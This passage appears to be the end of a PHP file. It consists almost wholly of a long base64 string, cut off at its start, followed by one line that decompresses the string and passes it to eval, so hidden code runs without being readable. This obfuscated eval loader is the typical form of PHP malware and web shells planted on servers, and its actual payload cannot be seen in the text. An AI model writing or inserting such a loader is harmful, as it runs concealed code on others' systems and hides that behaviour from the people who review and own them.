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";
eval("?>".gzuncompress(base64_decode($bhrt))); ?>